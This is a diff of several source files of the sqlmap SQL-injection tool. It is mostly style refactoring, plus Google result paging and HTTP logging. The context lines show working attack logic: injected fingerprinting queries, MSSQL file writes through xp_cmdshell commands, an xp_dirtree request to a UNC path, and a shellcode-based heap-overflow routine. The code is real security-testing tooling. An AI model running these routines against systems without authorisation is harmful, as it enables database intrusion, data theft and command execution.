@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
|
@ -39,10 +37,8 @@ from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
from lib.utils.resume import resume
|
from lib.utils.resume import resume
|
||||||
|
|
||||||
|
|
||||||
reqCount = 0
|
reqCount = 0
|
||||||
|
|
||||||
|
|
||||||
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
|
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
|
||||||
"""
|
"""
|
||||||
This function tests for an inband SQL injection on the target
|
This function tests for an inband SQL injection on the target
|
||||||
|
@ -60,7 +56,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
||||||
|
|
||||||
global reqCount
|
global reqCount
|
||||||
|
|
||||||
if resetCounter == True:
|
if resetCounter:
|
||||||
reqCount = 0
|
reqCount = 0
|
||||||
|
|
||||||
if not kb.unionCount:
|
if not kb.unionCount:
|
||||||
|
@ -74,7 +70,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
||||||
expression = agent.concatQuery(expression, unpack)
|
expression = agent.concatQuery(expression, unpack)
|
||||||
expression = unescaper.unescape(expression)
|
expression = unescaper.unescape(expression)
|
||||||
|
|
||||||
if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False:
|
if ( conf.paramNegative or conf.paramFalseCond ) and not direct:
|
||||||
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||||
|
|
||||||
if len(expressionFieldsList) > 1:
|
if len(expressionFieldsList) > 1:
|
||||||
|
@ -141,7 +137,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
||||||
else:
|
else:
|
||||||
test = True
|
test = True
|
||||||
|
|
||||||
if test == True:
|
if test:
|
||||||
# Count the number of SQL query entries output
|
# Count the number of SQL query entries output
|
||||||
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
|
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
|
||||||
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.common import getDelayQuery
|
from lib.core.common import getDelayQuery
|
||||||
|
@ -33,9 +31,8 @@ from lib.core.data import logger
|
||||||
from lib.core.session import setStacked
|
from lib.core.session import setStacked
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
|
|
||||||
|
|
||||||
def stackedTest():
|
def stackedTest():
|
||||||
if kb.stackedTest != None:
|
if kb.stackedTest is not None:
|
||||||
return kb.stackedTest
|
return kb.stackedTest
|
||||||
|
|
||||||
infoMsg = "testing stacked queries support on parameter "
|
infoMsg = "testing stacked queries support on parameter "
|
||||||
|
@ -53,7 +50,6 @@ def stackedTest():
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
kb.stackedTest = payload
|
kb.stackedTest = payload
|
||||||
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "the web application does not support stacked queries "
|
warnMsg = "the web application does not support stacked queries "
|
||||||
warnMsg += "on parameter '%s'" % kb.injParameter
|
warnMsg += "on parameter '%s'" % kb.injParameter
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import cookielib
|
import cookielib
|
||||||
import re
|
import re
|
||||||
import urllib2
|
import urllib2
|
||||||
|
@ -31,8 +29,9 @@ import urllib2
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapConnectionException
|
from lib.core.exception import sqlmapConnectionException
|
||||||
|
from lib.request.basic import decodePage
|
||||||
|
|
||||||
class Google:
|
class Google:
|
||||||
"""
|
"""
|
||||||
|
@ -47,7 +46,6 @@ class Google:
|
||||||
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
|
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
|
||||||
self.opener.addheaders = conf.httpHeaders
|
self.opener.addheaders = conf.httpHeaders
|
||||||
|
|
||||||
|
|
||||||
def __parsePage(self, page):
|
def __parsePage(self, page):
|
||||||
"""
|
"""
|
||||||
Parse Google dork search results page to get the list of
|
Parse Google dork search results page to get the list of
|
||||||
|
@ -61,7 +59,6 @@ class Google:
|
||||||
|
|
||||||
return matches
|
return matches
|
||||||
|
|
||||||
|
|
||||||
def getTargetUrls(self):
|
def getTargetUrls(self):
|
||||||
"""
|
"""
|
||||||
This method returns the list of hosts with parameters out of
|
This method returns the list of hosts with parameters out of
|
||||||
|
@ -72,7 +69,6 @@ class Google:
|
||||||
if re.search("(.*?)\?(.+)", match, re.I):
|
if re.search("(.*?)\?(.+)", match, re.I):
|
||||||
kb.targetUrls.add(( match, None, None, None ))
|
kb.targetUrls.add(( match, None, None, None ))
|
||||||
|
|
||||||
|
|
||||||
def getCookie(self):
|
def getCookie(self):
|
||||||
"""
|
"""
|
||||||
This method is the first to be called when initializing a
|
This method is the first to be called when initializing a
|
||||||
|
@ -90,23 +86,47 @@ class Google:
|
||||||
errMsg = "unable to connect to Google"
|
errMsg = "unable to connect to Google"
|
||||||
raise sqlmapConnectionException, errMsg
|
raise sqlmapConnectionException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def search(self, googleDork):
|
def search(self, googleDork):
|
||||||
"""
|
"""
|
||||||
This method performs the effective search on Google providing
|
This method performs the effective search on Google providing
|
||||||
the google dork and the Google session cookie
|
the google dork and the Google session cookie
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
gpage = conf.googlePage if conf.googlePage > 1 else 1
|
||||||
|
|
||||||
if not googleDork:
|
if not googleDork:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
url = "http://www.google.com/search?"
|
url = "http://www.google.com/search?"
|
||||||
url += "q=%s&" % urlencode(googleDork)
|
url += "q=%s&" % urlencode(googleDork)
|
||||||
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
|
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
|
||||||
|
url += "&start=%d" % ((gpage-1) * 100)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
conn = self.opener.open(url)
|
conn = self.opener.open(url)
|
||||||
|
|
||||||
|
requestMsg = "HTTP request:\nGET %s HTTP/1.1" % url
|
||||||
|
#requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in conn.headers.items()])
|
||||||
|
#requestMsg += "\n%s" % requestHeaders
|
||||||
|
requestMsg += "\n"
|
||||||
|
logger.log(9, requestMsg)
|
||||||
|
|
||||||
page = conn.read()
|
page = conn.read()
|
||||||
|
code = conn.code
|
||||||
|
status = conn.msg
|
||||||
|
responseHeaders = conn.info()
|
||||||
|
|
||||||
|
encoding = responseHeaders.get("Content-Encoding")
|
||||||
|
page = decodePage(page, encoding)
|
||||||
|
|
||||||
|
responseMsg = "HTTP response (%s - %d):\n" % (status, code)
|
||||||
|
|
||||||
|
if conf.verbose <= 4:
|
||||||
|
responseMsg += str(responseHeaders)
|
||||||
|
elif conf.verbose > 4:
|
||||||
|
responseMsg += "%s\n%s\n" % (responseHeaders, page)
|
||||||
|
|
||||||
|
logger.log(8, responseMsg)
|
||||||
except urllib2.HTTPError, e:
|
except urllib2.HTTPError, e:
|
||||||
page = e.read()
|
page = e.read()
|
||||||
except urllib2.URLError, e:
|
except urllib2.URLError, e:
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
|
@ -34,7 +32,6 @@ from lib.core.exception import sqlmapNoneDataException
|
||||||
from lib.core.session import setParenthesis
|
from lib.core.session import setParenthesis
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def checkForParenthesis():
|
def checkForParenthesis():
|
||||||
"""
|
"""
|
||||||
This method checks if the SQL injection affected parameter
|
This method checks if the SQL injection affected parameter
|
||||||
|
@ -46,7 +43,7 @@ def checkForParenthesis():
|
||||||
|
|
||||||
count = 0
|
count = 0
|
||||||
|
|
||||||
if kb.parenthesis != None:
|
if kb.parenthesis is not None:
|
||||||
return
|
return
|
||||||
|
|
||||||
if conf.prefix or conf.postfix:
|
if conf.prefix or conf.postfix:
|
||||||
|
@ -76,7 +73,7 @@ def checkForParenthesis():
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
count = parenthesis
|
count = parenthesis
|
||||||
|
|
||||||
logMsg = "the injectable parameter requires %d parenthesis" % count
|
logMsg = "the injectable parameter requires %d parenthesis" % count
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import binascii
|
import binascii
|
||||||
import os
|
import os
|
||||||
import time
|
import time
|
||||||
|
@ -71,7 +69,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
|
|
||||||
unescaper.setUnescape(MSSQLServerMap.unescape)
|
unescaper.setUnescape(MSSQLServerMap.unescape)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def unescape(expression, quote=True):
|
def unescape(expression, quote=True):
|
||||||
if quote:
|
if quote:
|
||||||
|
@ -84,7 +81,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
index = expression[firstIndex:].find("'")
|
index = expression[firstIndex:].find("'")
|
||||||
|
|
||||||
if index == -1:
|
if index == -1:
|
||||||
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression)
|
||||||
|
|
||||||
lastIndex = firstIndex + index
|
lastIndex = firstIndex + index
|
||||||
old = "'%s'" % expression[firstIndex:lastIndex]
|
old = "'%s'" % expression[firstIndex:lastIndex]
|
||||||
|
@ -103,7 +100,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def escape(expression):
|
def escape(expression):
|
||||||
while True:
|
while True:
|
||||||
|
@ -115,7 +111,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
index = expression[firstIndex:].find("))")
|
index = expression[firstIndex:].find("))")
|
||||||
|
|
||||||
if index == -1:
|
if index == -1:
|
||||||
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression)
|
||||||
|
|
||||||
lastIndex = firstIndex + index + 1
|
lastIndex = firstIndex + index + 1
|
||||||
old = expression[firstIndex:lastIndex]
|
old = expression[firstIndex:lastIndex]
|
||||||
|
@ -128,7 +124,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
@ -171,7 +166,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||||
|
@ -189,7 +183,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
infoMsg = "confirming Microsoft SQL Server"
|
infoMsg = "confirming Microsoft SQL Server"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -199,7 +193,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
payload = agent.fullPayload(query)
|
payload = agent.fullPayload(query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result is True:
|
if result:
|
||||||
if version == 8:
|
if version == 8:
|
||||||
kb.dbmsVersion = ["2008"]
|
kb.dbmsVersion = ["2008"]
|
||||||
|
|
||||||
|
@ -220,7 +214,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
payload = agent.fullPayload(query)
|
payload = agent.fullPayload(query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
kb.dbmsVersion = ["7.0"]
|
kb.dbmsVersion = ["7.0"]
|
||||||
|
|
||||||
break
|
break
|
||||||
|
@ -241,7 +235,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkDbmsOs(self, detailed=False):
|
def checkDbmsOs(self, detailed=False):
|
||||||
if kb.os and kb.osVersion and kb.osSP:
|
if kb.os and kb.osVersion and kb.osSP:
|
||||||
return
|
return
|
||||||
|
@ -249,7 +242,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
if not kb.os:
|
if not kb.os:
|
||||||
kb.os = "Windows"
|
kb.os = "Windows"
|
||||||
|
|
||||||
if detailed == False:
|
if not detailed:
|
||||||
return
|
return
|
||||||
|
|
||||||
infoMsg = "fingerprinting the back-end DBMS operating system "
|
infoMsg = "fingerprinting the back-end DBMS operating system "
|
||||||
|
@ -261,14 +254,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
||||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
||||||
|
|
||||||
versions = {
|
versions = {"2003": ("5.2", (2, 1)),
|
||||||
"2003": ( "5.2", ( 2, 1 ) ),
|
|
||||||
#"2003": ("6.0", (2,1)),
|
#"2003": ("6.0", (2,1)),
|
||||||
"2008": ("7.0", (1,)),
|
"2008": ("7.0", (1,)),
|
||||||
"2000": ("5.0", (4, 3, 2, 1)),
|
"2000": ("5.0", (4, 3, 2, 1)),
|
||||||
"XP": ("5.1", (2, 1)),
|
"XP": ("5.1", (2, 1)),
|
||||||
"NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) )
|
"NT": ("4.0", (6, 5, 4, 3, 2, 1))}
|
||||||
}
|
|
||||||
|
|
||||||
# Get back-end DBMS underlying operating system version
|
# Get back-end DBMS underlying operating system version
|
||||||
for version, data in versions.items():
|
for version, data in versions.items():
|
||||||
|
@ -320,7 +311,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
|
|
||||||
def getPrivileges(self):
|
def getPrivileges(self):
|
||||||
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
|
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
|
||||||
warnMsg += "database users privileges"
|
warnMsg += "database users privileges"
|
||||||
|
@ -328,7 +318,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
|
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
|
||||||
def getTables(self):
|
def getTables(self):
|
||||||
infoMsg = "fetching tables"
|
infoMsg = "fetching tables"
|
||||||
if conf.db:
|
if conf.db:
|
||||||
|
@ -399,16 +388,14 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
|
|
||||||
if not kb.data.cachedTables:
|
if not kb.data.cachedTables:
|
||||||
errMsg = "unable to retrieve the tables for any database"
|
errMsg = "unable to retrieve the tables for any database"
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
return kb.data.cachedTables
|
return kb.data.cachedTables
|
||||||
|
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
def unionReadFile(self, rFile):
|
||||||
errMsg = "Microsoft SQL Server does not support file reading "
|
errMsg = "Microsoft SQL Server does not support file reading "
|
||||||
errMsg += "with UNION query SQL injection technique"
|
errMsg += "with UNION query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
def stackedReadFile(self, rFile):
|
||||||
infoMsg = "fetching file: '%s'" % rFile
|
infoMsg = "fetching file: '%s'" % rFile
|
||||||
|
@ -479,7 +466,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
if not count.isdigit() or not len(count) or count == "0":
|
if not count.isdigit() or not len(count) or count == "0":
|
||||||
errMsg = "unable to retrieve the content of the "
|
errMsg = "unable to retrieve the content of the "
|
||||||
errMsg += "file '%s'" % rFile
|
errMsg += "file '%s'" % rFile
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
indexRange = getRange(count)
|
indexRange = getRange(count)
|
||||||
|
|
||||||
|
@ -491,12 +478,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
errMsg = "Microsoft SQL Server does not support file upload with "
|
errMsg = "Microsoft SQL Server does not support file upload with "
|
||||||
errMsg += "UNION query SQL injection technique"
|
errMsg += "UNION query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
# NOTE: this is needed here because we use xp_cmdshell extended
|
# NOTE: this is needed here because we use xp_cmdshell extended
|
||||||
|
@ -525,11 +510,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
|
|
||||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||||
|
|
||||||
commands = (
|
commands = ("cd %s" % tmpPath,
|
||||||
"cd %s" % tmpPath,
|
|
||||||
"ren %s %s" % (chunkName, dFileName),
|
"ren %s %s" % (chunkName, dFileName),
|
||||||
"move /Y %s %s" % (dFileName, dFile)
|
"move /Y %s %s" % (dFileName, dFile))
|
||||||
)
|
|
||||||
complComm = " & ".join(command for command in commands)
|
complComm = " & ".join(command for command in commands)
|
||||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||||
|
|
||||||
|
@ -558,11 +541,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
|
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
|
||||||
logger.debug(infoMsg)
|
logger.debug(infoMsg)
|
||||||
|
|
||||||
commands = (
|
commands = ("cd %s" % tmpPath,
|
||||||
"cd %s" % tmpPath,
|
|
||||||
copyCmd,
|
copyCmd,
|
||||||
"del /F %s" % chunkName
|
"del /F %s" % chunkName)
|
||||||
)
|
|
||||||
complComm = " & ".join(command for command in commands)
|
complComm = " & ".join(command for command in commands)
|
||||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||||
|
|
||||||
|
@ -576,24 +557,20 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
|
|
||||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||||
|
|
||||||
commands = (
|
commands = ("cd %s" % tmpPath,
|
||||||
"cd %s" % tmpPath,
|
"move /Y %s %s" % (dFileName, dFile))
|
||||||
"move /Y %s %s" % (dFileName, dFile)
|
|
||||||
)
|
|
||||||
complComm = " & ".join(command for command in commands)
|
complComm = " & ".join(command for command in commands)
|
||||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||||
|
|
||||||
self.execCmd(forgedCmd)
|
self.execCmd(forgedCmd)
|
||||||
|
|
||||||
if confirm == True:
|
if confirm:
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
||||||
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
||||||
|
|
||||||
|
|
||||||
def spHeapOverflow(self):
|
def spHeapOverflow(self):
|
||||||
"""
|
"""
|
||||||
References:
|
References:
|
||||||
|
@ -633,7 +610,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||||
errMsg += "overflow because it does not have a valid return "
|
errMsg += "overflow because it does not have a valid return "
|
||||||
errMsg += "code for the underlying operating system (Windows "
|
errMsg += "code for the underlying operating system (Windows "
|
||||||
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
|
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
shellcodeChar = ""
|
shellcodeChar = ""
|
||||||
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
|
||||||
|
@ -54,7 +52,6 @@ from plugins.generic.fingerprint import Fingerprint
|
||||||
from plugins.generic.misc import Miscellaneous
|
from plugins.generic.misc import Miscellaneous
|
||||||
from plugins.generic.takeover import Takeover
|
from plugins.generic.takeover import Takeover
|
||||||
|
|
||||||
|
|
||||||
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
"""
|
"""
|
||||||
This class defines MySQL methods
|
This class defines MySQL methods
|
||||||
|
@ -77,7 +74,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
unescaper.setUnescape(MySQLMap.unescape)
|
unescaper.setUnescape(MySQLMap.unescape)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def unescape(expression, quote=True):
|
def unescape(expression, quote=True):
|
||||||
if quote:
|
if quote:
|
||||||
|
@ -111,7 +107,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def escape(expression):
|
def escape(expression):
|
||||||
while True:
|
while True:
|
||||||
|
@ -136,7 +131,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def __commentCheck(self):
|
def __commentCheck(self):
|
||||||
infoMsg = "executing MySQL comment injection fingerprint"
|
infoMsg = "executing MySQL comment injection fingerprint"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -146,20 +140,20 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result != True:
|
if not result:
|
||||||
warnMsg = "unable to perform MySQL comment injection"
|
warnMsg = "unable to perform MySQL comment injection"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
# MySQL valid versions updated on 05/2009
|
# MySQL valid versions updated on 12/2009
|
||||||
versions = (
|
versions = (
|
||||||
(32200, 32233), # MySQL 3.22
|
(32200, 32233), # MySQL 3.22
|
||||||
(32300, 32359), # MySQL 3.23
|
(32300, 32359), # MySQL 3.23
|
||||||
(40000, 40031), # MySQL 4.0
|
(40000, 40031), # MySQL 4.0
|
||||||
(40100, 40122), # MySQL 4.1
|
(40100, 40122), # MySQL 4.1
|
||||||
(50000, 50077), # MySQL 5.0
|
(50000, 50089), # MySQL 5.0
|
||||||
(50100, 50134), # MySQL 5.1
|
(50100, 50141), # MySQL 5.1
|
||||||
(50400, 50401), # MySQL 5.4
|
(50400, 50401), # MySQL 5.4
|
||||||
(60000, 60010), # MySQL 6.0
|
(60000, 60010), # MySQL 6.0
|
||||||
)
|
)
|
||||||
|
@ -175,7 +169,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
if not prevVer:
|
if not prevVer:
|
||||||
prevVer = version
|
prevVer = version
|
||||||
|
|
||||||
|
@ -192,7 +186,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
